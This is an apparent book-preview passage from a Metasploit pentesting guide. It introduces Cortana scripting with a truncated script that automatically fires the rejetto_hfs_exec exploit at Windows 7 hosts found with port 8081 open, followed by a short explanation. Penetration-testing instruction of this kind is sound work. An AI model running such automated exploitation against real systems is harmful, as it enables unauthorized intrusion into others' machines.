The fundamentals of Cortana

Scripting a basic attack with Cortana will help us understand Cortana with a much wider approach. So, let's see an example script that automates the exploitation on port 8081 for a Windows operating system:

on service_add_8081 { 
        println("Hacking a Host running $1 (" . host_os($1) . ")"); 
        if (host_os($1) eq "Windows 7") { 
                exploit("windows/http/rejetto_hfs_exec", $1, %(RPORT => "8081")); 

The preceding script will execute when Nmap or MSF scan finds port 8081 open. The script will check if the target is running on a Windows 7 system upon which Cortana will automatically attack the host with the rejetto_hfs_exec exploit on port 8081.

In the preceding script, $1 specifies the IP address of the host. print_ln prints ...

Get Metasploit Revealed: Secrets of the Expert Pentester now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.